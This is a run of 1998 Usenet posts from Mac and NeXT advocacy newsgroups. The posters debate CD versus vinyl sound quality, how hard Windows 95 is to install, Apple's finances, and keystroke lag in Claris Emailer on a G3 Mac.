References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net>
In article <joe.ragosta-1408981626220001@wil72.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <6r22ti$bvq$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
>
> > In article <nospam-1408980055000001@dhack1-124.cybernex.net>,
> > nospam@devnull.com (Hath) wrote:
> >
> > > nice but you don't even HAVE to buy a 'sound card' for the mac, stereo
> > > CD-quality sound is built in. Ever since the MAC II.
> >
> > CD quality stereo sound isn't terribly impressive these days. My card allows
> > 18- bit 48KHz full-duplex playback/record. It can hardware mix up to 16
> > separate streams (the Mac, I believe, can do 3). It can also do hardware
> > based HRTF signal processing.
>
> This isn't a flame or anything, but a real question.
>
> Since CD quality stereo is already better quality than 99% of people can
> pick up, why do you need better than CD quality sound?
Er- it isn't, Joe. CD "sound quality" is a myth. Actually a well made vinyl
LP, recorded non-digitally CAN outperform a CD in every way except for
signal to noise ratio. CDs are quieter than are LPs. In fact, many 1950's
vinyl records will blow the finest "audiophile demonstration" CD right out
of the water. This is the reason for the new DVD audio spec which ups the
number of bits used in CDs from 16 to 24 bits and increases the sample
rate from 44.1 KHz to 96 KHz. Current CD specs are 25 year-old digital
technology and just don't sound all that good, even the best of them. Loud,
yes quiet, yes. But the music has no ambience and no subtlety, and the high
frequencies sound distorted and very steely when compared to the best
analogue.
George Graves
From: "Quantum Leaper" <leaper@bigfoot.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Fri, 14 Aug 1998 18:25:07 -0500
Organization: Exec-PC BBS Internet - Milwaukee, WI
Message-ID: <6r2h0a$le5@newsops.execpc.com>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net>
George Graves <gmgraves@slip.net> wrote in message
gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net...
>In article
><Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu>,
>Patrick <patrick@howard.genetics.utah.edu> wrote:
>
>> On Wed, 12 Aug 1998, George Graves wrote:
>>
>> > > Give me a break. I have installed, multiple times, from scratch, on
BOTH
>> > > Macs and PCs. I have done so on the PC with OS/2, Win95, and RedHat
>> > > Linux. Installing Win95 on a PC was NO more difficult than
installing
>> > > MacOS on my daughters Performa. There was NO problems, in ANY case,
on
>> > > the PC as compared to the Mac. I pointed, clicked, and left it alone
>> [...]
>> > > That is MY PERSONAL experience. Not heresay, not rumor. I have done
it
>> > > many times on BOTH.
>>
>> > OK, how many of those "many times" that you have installed Windows have
you
>> > had to make a boot floppy which recognized your CD-ROM drive? With the
Mac,
>> > you NEVER have to do that!. How many times have you had to cast
>endlessly about
>>
>> I have never had to do that. With OS/2, the install diskettes see the
>> CDROM and that's that. Making a boot floppy is not a problem. With
>> Win95, I simply do not know - haven't done it and haven't had to do it.
>
>That's my point. If one has the resources and the knowledge of DOS, its not
>difficult, but without those resources or that knowledge, its damn neigh
>impossible. But the question is: "should the average user HAVE to be a
computer
>geek just to install a system on a PC?" The short answer is no, he
shouldn't
>have to be that knowledgeable, but in reality he does. This is MS' fault
>
I have installed Windows 95, (and one Win98), quite a few times, on
everything from a 486sx25 to P400 (win98). So far I have had to make ONE
boot disk! The boot disk I had to make was for the 486 with a OLD 2X CDROM
with card, not even IDE! OSR2 comes with a boot disk that supports most
CDROMs, and even if I didn't have a boot disk, no problem, ask a friend
to make a emerency rescue disk from OSR2, it will put CDRom drivers on the
bootdisk. If you upgrade to Win95 or Win98 all you do is double click on
the install icon. I know it was really HARD to make the bootdisk for the
486, all I did was run the install program and tell it to make a boot
floppy, so all I did was type 'install' from the 'A:" prompt and follow the
on screen instructions. BTW the hardest thing I had to do to the 486 was
install the OnTrack drivers but even those all I had to was follow the
prompt.
So if you lost your boot disk or you have very old hardware, you will have
a problem. Win95 full and OEM both come with a boot disk and you don't need
a boot disk if you upgrading a computer to Win95 or Win98.
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Fri, 14 Aug 1998 16:30:29 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1408981630300001@sf-pm5-17-81.dialup.slip.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <6r29nn$3oo$1@camel0.mindspring.com>
In article <6r29nn$3oo$1@camel0.mindspring.com>, Jacob Fuller
<jacobf@mindspring.com> wrote:
> I dont know, CD's sound pretty damn good to me! Cant really imagine something
> better since they sound just like real if you have speakers good enough.
CDs are somewhat of a paradox. The better your equipment, the worse they
sound. LPs, on the other hand, are just the opposite, the better your
equipment,
the better they sound. A good LP (even an old one from the fifties) will
destroy the best CD on really good equipment.
Good equipment reveals the following flaws in current CDs:
Poor ambience representation
Poor stereo imaging, no front-to-back layering of instruments
Poor high frequency resolution
poor low level resolution
An overall "cartoony" recreation of the performance.
These characteristcs are really only noticeable on
acoustically recorded music such as classical and
some jazz. Rock, of course is multi-channel mono
and 100% studio derived, so it doesn't generally have
any 'imaging" characteristics, or hall ambience, or
or anything recorded at very low levels, so these
shortcomings are understandably lost on people who
listen mostly to popular music.
George Graves
Date: Fri, 14 Aug 1998 19:27:47 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <joe.ragosta-1408981927480001@elk72.dol.net>
References: <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <Pine.LNX.3.96.980814171602.22434B-100000@paule>
In article <Pine.LNX.3.96.980814171602.22434B-100000@paule>, steve
<steve@paule.ncpa.olemiss.edu> wrote:
> So anothe double standard, in that "just good enough" when a windows
> person says it is wrong, but when you say it, it is okay. I never want
> just good enough, myself.
There's a difference.
Improving upon CD quality sound is a useless exercise because the human
ear will never notice the difference. That's why CD quality sound is good
enough.
Windows, OTOH, is only good enough if you've never used an OS with a good UI.
>
> On Fri, 14 Aug 1998, Joe Ragosta wrote:
>
> > In article <6r22ti$bvq$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> >
> > > In article <nospam-1408980055000001@dhack1-124.cybernex.net>,
> > > nospam@devnull.com (Hath) wrote:
> > >
> > > > nice but you don't even HAVE to buy a 'sound card' for the mac, stereo
> > > > CD-quality sound is built in. Ever since the MAC II.
> > >
> > > CD quality stereo sound isn't terribly impressive these days. My
card allows
> > > 18- bit 48KHz full-duplex playback/record. It can hardware mix up to 16
> > > separate streams (the Mac, I believe, can do 3). It can also do hardware
> > > based HRTF signal processing.
> >
> > This isn't a flame or anything, but a real question.
> >
> > Since CD quality stereo is already better quality than 99% of people can
> > pick up, why do you need better than CD quality sound?
> >
> > --
> > Regards,
> > Joe Ragosta
> > http://www.dol.net/~Ragosta/complmac.htm
> >
> >
>
> Steven Zanvil Sawolkin
> 228-G Freedom Dr.
> Belleville, IL
> U.S.A. 62226-5184
> 618-277-7380
> lymond@peaknet.net
> alternate: jgerdes@stlair.k12.il.us
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: DarnedToHeck@REMOVE.home.com (Paul McGrane)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.comm,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: A flame of the ma
Message-ID: <DarnedToHeck-1408981942420001@cc962257-a.vron1.nj.home.com>
References: <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net> <WadeMasshardt-1308981918060001@192.168.0.2> <macghod-1308982149450001@sdn-ar-002casbarp093.dialsprint.net>
Organization: I take the fifth
Date: Fri, 14 Aug 1998 23:41:54 GMT
NNTP-Posting-Date: Fri, 14 Aug 1998 16:41:54 PDT
In article <macghod-1308982149450001@sdn-ar-002casbarp093.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> In article <WadeMasshardt-1308981918060001@192.168.0.2>,
> WadeMasshardt@badger.alumni.wisc.edu (Wade Masshardt) wrote:
>
> > I am
> > thinking we need more info on your setup. For instance, what software are
> > you using to connect to the net? What modem? What is your disk cache set
> > to? VM on or off?
>
> Ok. I am using ot ppp. A global village 56 k x2. My disk cache is set
> to 4 megs. Vm is off. I had three apps open, mt newswatcher was
> downloading binaries, ot /ppp may of been open, and I was trying to write
> a email in claris emailer 2.0
Very strange. Can you reproduce it, BTW? I don't doubt you know what
programs are running on your computer, but there is always the chance you
launched some crazy faceless background app that was screwing with
interrupts or something and forgot about it (as only one meager
explanation :^)
--
...Paul McGrane
*As always, my email address is a fixer-upper*
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Fri, 14 Aug 1998 16:50:24 -0700
Organization: Sierra On-Line, Inc.
Message-ID: <6r2j1d$ilf$1@plo.sierra.com>
References: <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <Pine.LNX.3.96.980814171602.22434B-100000@paule>
NNTP-Posting-Date: 14 Aug 1998 23:59:41 GMT
steve wrote in message ...
>So anothe double standard, in that "just good enough" when a windows
>person says it is wrong, but when you say it, it is okay. I never want
>just good enough, myself.
>
>On Fri, 14 Aug 1998, Joe Ragosta wrote:
>> Since CD quality stereo is already better quality than 99% of people can
>> pick up, why do you need better than CD quality sound?
Steve, mind if I respond to Joe through you since Joe's original message
hasn't reached my server yet?
Joe, where's your PROOF that "Since CD quality stereo is already better
quality than 99% of people can pick up", or is this just an unfounded claim
you're making, something you love to accuse others of?
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Solaris is"Free"
Content-Type: text/plain; charset=us-ascii
Message-ID: <ExpCD2.GLM@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: Michael.Peck@ericsson.com
Organization: none
References: <35D484A1.23078796@ericsson.com> <6r230v$m85@shelob.afs.com>
<35D49472.71D2B206@ericsson.com>
Mime-Version: 1.0
Date: Fri, 14 Aug 1998 23:10:13 GMT
In <35D49472.71D2B206@ericsson.com> Michael Peck wrote:
> There is little or no public information to indicate Apple is doing
> better
Gee. And there's no evidence of evolution either, right? One can only
conclude this after discounting all the public evidence to the contrary, but
you seem to have done just that. That's not too surprising (I used to do the
evolution/creation debate, I've seen it before) I suppose, but what I don't
understand is _why_.
> apart from tiny profits
Tiny profits? Apple did better that a lot of companies that are larger
than they are, and doubled the estimates. How is this in any way "tiny".
Geez, I'll take the $101M, thanks.
> your indicators will be for nought if the iMac introduction is a
> failure, or anything in the next 24 months (including Mac OS X of all
> stripes) fails, for that matter.
Or if there's a nuclear war. Your predictions of the future are worthless,
and meaningless too.
Maury
From: phillyjoe@SPAMBLOCKatt.net (Joe O'Brien)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.comm,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: A flame of the ma
Date: 15 Aug 1998 01:10:15 GMT
Organization: Philadelphia, PA
Message-ID: <phillyjoe-1408982110150001@225.philadelphia-06.pa.dial-access.att.net>
References: <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net> <MPG.103ce8511260aaf98978b@news.itg.ti.com> <alex-1308981723560001@castle.webis.net>
{fX}TBjs]p+N+'^FLBkoDUV2/\n6|vJCvaq~X1@s
In article <alex-1308981723560001@castle.webis.net>, alex@webis.net (Alex
Kac) wrote:
> Though to be honest, I've seen worse with Win95. A client just bought a
> Pentium II 400 with 128MB of RAM running Windows 95 with a 100Mhz bus.
> Dell. Adding the printer driver caused the entire machine to be unusable
> while Windows was doing something. Then, when he was downloading Navigator
> with MIE 3.02, whenever we switched to the download window, it took 20
> seconds to display the window and during that time we couldn't do
> ANYTHING. His office is on ISDN too.
>
> This is his 3rd Dell in 3 weeks since he's been robbed twice in the past
> two weeks (bad experience) and what I'm describing happened with a clean
> 10 minutes out of the box experience AND it happened each and every time.
>
> I haven't seen a machine so slow in moving between some apps since my
> Performa 630 of 4 years ago.
I use an HP Vectra with 63 MB ram running Windows NT at work on a Novell
ethernetwork. We use Groupwise email client. I don't need to use that
program's "Notify Mail" feature because whenever I am working in Word or
Excel, the cursor stops blinking and the keyboard goes dead momentarily
when email is coming in. I don't think any platform is always free of this
type of thing entirely.
--
When replying by email, please remove the SPAMBLOCK from my address. Thanks!
Date: Fri, 14 Aug 1998 21:11:55 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <joe.ragosta-1408982111560001@elk41.dol.net>
References: <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <Pine.LNX.3.96.980814171602.22434B-100000@paule> <6r2j1d$ilf$1@plo.sierra.com>
In article <6r2j1d$ilf$1@plo.sierra.com>, "Earl Malmrose"
<earl.malmrose@nospam.sierra.com> wrote:
> steve wrote in message ...
> >So anothe double standard, in that "just good enough" when a windows
> >person says it is wrong, but when you say it, it is okay. I never want
> >just good enough, myself.
> >
> >On Fri, 14 Aug 1998, Joe Ragosta wrote:
> >> Since CD quality stereo is already better quality than 99% of people can
> >> pick up, why do you need better than CD quality sound?
>
> Steve, mind if I respond to Joe through you since Joe's original message
> hasn't reached my server yet?
>
> Joe, where's your PROOF that "Since CD quality stereo is already better
> quality than 99% of people can pick up", or is this just an unfounded claim
> you're making, something you love to accuse others of?
"CD quality" usually refers to something like 20-20,000 Hz at +/- 3 db or
so. The human ear usually can't hear below 20 or above 20,000 Hz. I could
dig out my old biology texts, but that's pretty well established fact.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Sat, 15 Aug 1998 01:10:16 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6r2n5o$ekp$1@nnrp1.dejanews.com>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net>
In article <joe.ragosta-1408981626220001@wil72.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> This isn't a flame or anything, but a real question.
>
> Since CD quality stereo is already better quality than 99% of people can
> pick up, why do you need better than CD quality sound?
I don't. I bet than more than 1% of people can differentiate between sounds at
higher than CD quality though. I do like that PC cards can hardware mix more
sound streams than Apple's cards. I also perceive the quality of my Montego's
MIDI voices as being higher quality than those of my Mac. The ability to do
doppler and 3D positioning transformations on card is also pretty cool.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
Date: Fri, 14 Aug 1998 21:21:05 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.comm,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: A flame of the ma
Message-ID: <joe.ragosta-1408982121060001@elk41.dol.net>
References: <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net> <MPG.103ce8511260aaf98978b@news.itg.ti.com> <alex-1308981723560001@castle.webis.net> <phillyjoe-1408982110150001@225.philadelphia-06.pa.dial-access.att.net>
In article
<phillyjoe-1408982110150001@225.philadelphia-06.pa.dial-access.att.net>,
phillyjoe@SPAMBLOCKatt.net (Joe O'Brien) wrote:
> In article <alex-1308981723560001@castle.webis.net>, alex@webis.net (Alex
> Kac) wrote:
>
>
> > Though to be honest, I've seen worse with Win95. A client just bought a
> > Pentium II 400 with 128MB of RAM running Windows 95 with a 100Mhz bus.
> > Dell. Adding the printer driver caused the entire machine to be unusable
> > while Windows was doing something. Then, when he was downloading Navigator
> > with MIE 3.02, whenever we switched to the download window, it took 20
> > seconds to display the window and during that time we couldn't do
> > ANYTHING. His office is on ISDN too.
> >
> > This is his 3rd Dell in 3 weeks since he's been robbed twice in the past
> > two weeks (bad experience) and what I'm describing happened with a clean
> > 10 minutes out of the box experience AND it happened each and every time.
> >
> > I haven't seen a machine so slow in moving between some apps since my
> > Performa 630 of 4 years ago.
>
> I use an HP Vectra with 63 MB ram running Windows NT at work on a Novell
> ethernetwork. We use Groupwise email client. I don't need to use that
> program's "Notify Mail" feature because whenever I am working in Word or
> Excel, the cursor stops blinking and the keyboard goes dead momentarily
> when email is coming in. I don't think any platform is always free of this
> type of thing entirely.
Or, how about this one.
I have a homebuilt Win95 machine (Abit TX-5, IBM 6x86MX200, 64 MB, etc). I
had a Matrox Millenium and decided to buy a Elsa Erazor (Nvidia) video
card. I put the VGA drivers back, swapped the cards, then restarted.
First, Windows didn't recognize the card. When I finally got to installing
the drivers manually, the entire system froze (no cursor movement or
anything) for 30 seconds. It froze again later in the process--this time
for a minute.
COMPLETE FREEZE for half a minute, then later for a minute.
And they have the nerve to flame the Mac.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.comm,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: A flame of the ma
From: m_cohen@NOSPAMusa.net (Mike Cohen)
Message-ID: <1ddrnln.1meew7b1hd3mb0N@host-209-214-29-217.bct.bellsouth.net>
References: <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net> <MPG.103ce8511260aaf98978b@news.itg.ti.com> <6r1ese$nnf$1@supernews.com> <MPG.103e0a1e8fb509fe989791@news.itg.ti.com>
Organization: ISIS International
Date: Sat, 15 Aug 1998 01:39:40 GMT
NNTP-Posting-Date: Fri, 14 Aug 1998 21:39:40 EST
Jason McNorton <jmcn@msg.ti.com> wrote:
> I'm sure a G3 is fast enough to handle my
> typing (I'm not THAT fast :), but still.. It's a bad sign for an OS to
> be so sloppy like that.
It's not the hardware or the OS - it's his application: Claris Emailer.
I've run it on a machine with nothing else running and I've out-typed it
easily. I'm sure if he tries Eudora the problem will go away. I've never
seen it happen on a much slower machine running Netscape, MacSoup,
Fetch, and Eudora Pro.
--
Mike Cohen - mike_cohen (at) pobox (dot) com - http://pobox.com/~macguru
Sound is the same for all the world - Youssou N'dour, "Eyes Open"
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.comm,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: A flame of the ma
From: m_cohen@NOSPAMusa.net (Mike Cohen)
Message-ID: <1ddrnok.1bfqv1xj4ccofN@host-209-214-29-217.bct.bellsouth.net>
References: <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net> <DarnedToHeck-1308981911570001@cc962257-a.vron1.nj.home.com>
Organization: ISIS International
Date: Sat, 15 Aug 1998 01:39:44 GMT
NNTP-Posting-Date: Fri, 14 Aug 1998 21:39:44 EST
Paul McGrane <DarnedToHeck@REMOVE.home.com> wrote:
> I imagine it is unacceptable. Have you tried all the normal
> troubleshooting steps (like starting up with only the extensions you need
> to connect to the internet). I'll add to the pile of relatively useless
> posts that I've downloaded stuff at over 200KB/sec in the background while
> typing very fast in the foreground and never seen anything like this--not
> even when copying over a LocalTalk network to my dinky SE/30 (which, for
> some still unexplained reason, causes the 7500 to slow down immensely) do
> I lose typed characters.
He only needs to do one thing to cure it: substitute a different email
program for Claris Emailer. I've been able to out-type it on a machine
with nothing else running. Eudora Pro doesn't have that problem.
--
Mike Cohen - mike_cohen (at) pobox (dot) com - http://pobox.com/~macguru
Sound is the same for all the world - Youssou N'dour, "Eyes Open"
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.comm,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: A flame of the ma
From: m_cohen@NOSPAMusa.net (Mike Cohen)
Message-ID: <1ddrnqt.a3noj8sc1xodN@host-209-214-29-217.bct.bellsouth.net>
References: <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net> <WadeMasshardt-1308981918060001@192.168.0.2> <macghod-1308982149450001@sdn-ar-002casbarp093.dialsprint.net>
Organization: ISIS International
Date: Sat, 15 Aug 1998 01:39:46 GMT
NNTP-Posting-Date: Fri, 14 Aug 1998 21:39:46 EST
Steve Sullivan <macghod@concentric.net> wrote:
> In article <WadeMasshardt-1308981918060001@192.168.0.2>,
> WadeMasshardt@badger.alumni.wisc.edu (Wade Masshardt) wrote:
>
> > I am
> > thinking we need more info on your setup. For instance, what software are
> > you using to connect to the net? What modem? What is your disk cache set
> > to? VM on or off?
>
> Ok. I am using ot ppp. A global village 56 k x2. My disk cache is set
> to 4 megs. Vm is off. I had three apps open, mt newswatcher was
> downloading binaries, ot /ppp may of been open, and I was trying to write
> a email in claris emailer 2.0
Please do me a favor and try Eudora Light to see if the same thing
happens. Claris Emailer seems to handle typing very slowly - I've been
able to out-type it on a machine with nothing else running. Claris
Emailer seems to handle keystrokes much slower than any other piece of
software I've ever seen.
--
Mike Cohen - mike_cohen (at) pobox (dot) com - http://pobox.com/~macguru
Sound is the same for all the world - Youssou N'dour, "Eyes Open"
From: andrew@bytecentre.com.au (Andrew Wright)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.comm,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: A flame of the ma
Date: Sat, 15 Aug 1998 12:11:55 +1000
Organization: Customer of Access One Pty Ltd, Melbourne, Australia
Message-ID: <andrew-1508981212240001@192.168.1.147>
References: <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net> <WadeMasshardt-1308981918060001@192.168.0.2>
NNTP-Posting-Date: 15 Aug 1998 02:09:19 GMT
In article <WadeMasshardt-1308981918060001@192.168.0.2>,
WadeMasshardt@badger.alumni.wisc.edu (Wade Masshardt) wrote:
> In article <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net>,
> macghod@concentric.net (Steve Sullivan) wrote:
>
> >Right nowI am downloading while I write this. I am prposefully not
> >editing the errors, the ones that are the focus of this flame at least
> >(including the last word in the subject, add a "c". Thes errors you see
> >are not typoes, they are chaacters that dont show up for some reason,
> >related to the download going on now. In mt newswatcher it actually isnt
> >hat bad. But it was much worse in claris emailer (which prompted me to
> >write this post). In this message, a couple of characters that I did type
> >didnt show up because of the upload going o in the background, emailer was
> >much much worse. This is simply unacceptable.
> >
> >This is a g3 233, with 96 megs of ram, and running 8.5b5c2
I'm not sure what you're doing wrong, but I'm running 8.5b2 on a 7300/200,
96 MB RAM etc. Currently I'm running Outlook, MT-newswatcher,
coderwarrior, Netscape, Filemaker, etc etc. b2 crashes every now again
(hey what do you expect) but other than that it's fast and responsive.
Either there's a problem in 8.5b5 with G3s (possible - do you have the
same problems under 8.1?) or something is very wrong with your system.
Regards,
Andrew Wright.
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Sun, 16 Aug 1998 02:40:04 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6r5gq5$ugi$1@nnrp1.dejanews.com>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <gmgraves-1408981604470001@sf-pm5-17-81.dialup.slip.net> <6r3bol$7h7$1@nnrp1.dejanews.com> <gmgraves-1508981149210001@sf-usr1-23-151.dialup.slip.net>
In article <gmgraves-1508981149210001@sf-usr1-23-151.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> I don't know. Certainly the 8600 and 9600's didn't.
Another false claim. I bought a 8600 and Apple didn't offer me the option of
unbundling the keyboard.
> I don't know about the
> G3s.
The Apple store says that they come with a keyboard and mouse.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: steve <steve@paule.ncpa.olemiss.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
